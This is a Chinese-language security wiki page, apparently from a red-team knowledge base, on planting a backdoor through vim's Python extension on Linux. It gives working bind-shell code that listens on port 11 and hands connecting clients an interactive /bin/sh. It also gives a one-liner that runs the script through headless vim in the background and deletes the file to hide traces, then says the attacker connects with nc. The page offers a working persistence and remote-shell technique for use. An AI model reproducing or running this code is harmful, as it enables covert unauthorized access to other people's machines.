menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 002-vim 后门 chevron_right 002-vim python 扩展后门.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    002-vim python 扩展后门.md
    1.12 KB / 2021-07-17 00:01:42
        # vim python 扩展后门
    
    适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。可以通过vim的pyfile来执行python脚本。这里我复现使用了docker centos 6.8,yum默认安装的vim。下面的pdf是发现者对外公开的思路:
    
    > https://github.com/ianxtianxt/WOTD
    
    这里我们使用一个python开启本地监听11端口的脚本。 POC:
    
    ```bash
    #from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
    from socket import *
    import subprocess
    import os, threading, sys, time
    if __name__ == "__main__":
            server=socket(AF_INET,SOCK_STREAM)
            server.bind(('0.0.0.0',11))
            server.listen(5)
            print 'waiting for connect'
            talk, addr = server.accept()
            print 'connect from',addr
            proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                    stdout=talk, stderr=talk, shell=True)
    
    ```
    
    ```bash
    $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
    
    ```
    
    执行以后:
    
    ![](images/security_wiki/15905493110112.png)
    
    ![](images/security_wiki/15905493149069.png)
    
    
    我在攻击机nc连接过去就可以了。
    
    
    
    links
    file_download